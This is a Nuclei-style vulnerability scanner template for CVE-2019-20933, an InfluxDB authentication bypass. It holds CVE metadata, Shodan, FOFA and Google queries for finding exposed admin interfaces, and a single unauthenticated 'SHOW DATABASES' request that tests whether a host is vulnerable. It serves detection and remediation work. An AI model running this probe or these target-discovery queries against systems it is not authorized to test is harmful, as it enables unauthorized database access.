55 lines
2.1 KiB
YAML
55 lines
2.1 KiB
YAML
id: CVE-2019-20933
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info:
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name: InfluxDB <1.7.6 - Authentication Bypass
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author: pussycat0x,c-sh0
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severity: critical
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description: InfluxDB before 1.7.6 contains an authentication bypass vulnerability via the authenticate function in services/httpd/handler.go. A JWT token may have an empty SharedSecret (aka shared secret). An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
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impact: |
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An attacker can bypass authentication and gain unauthorized access to the InfluxDB database.
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remediation: Update Influxdb to version 1.7.6~rc0-1 or higher.
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reference:
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- https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20933
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- https://github.com/influxdata/influxdb/compare/v1.7.5...v1.7.6
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- https://nvd.nist.gov/vuln/detail/CVE-2019-20933
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- https://github.com/influxdata/influxdb/commit/761b557315ff9c1642cf3b0e5797cd3d983a24c0
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2019-20933
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cwe-id: CWE-287
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epss-score: 0.04237
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epss-percentile: 0.92253
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cpe: cpe:2.3:a:influxdata:influxdb:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: influxdata
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product: influxdb
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shodan-query:
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- InfluxDB
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- http.title:"influxdb - admin interface"
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- influxdb
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fofa-query: title="influxdb - admin interface"
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google-query: intitle:"influxdb - admin interface"
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tags: cve,cve2019,unauth,db,influxdb,misconfig,influxdata
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http:
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- method: GET
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path:
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- "{{BaseURL}}/query?db=db&q=SHOW%20DATABASES"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '"results":'
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- '"name":"databases"'
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condition: and
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- type: status
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status:
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- 200
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# digest: 4a0a004730450220594a67b38d4fe51afd7f7d5dd552e0d6aafc0c3700ec4da0723894494a589463022100ea83411b496e63ae7c68a6fec8f67d125f749d559e4c27add4969c3f76e9214e:922c64590222798bb761d5b6d8e72950 |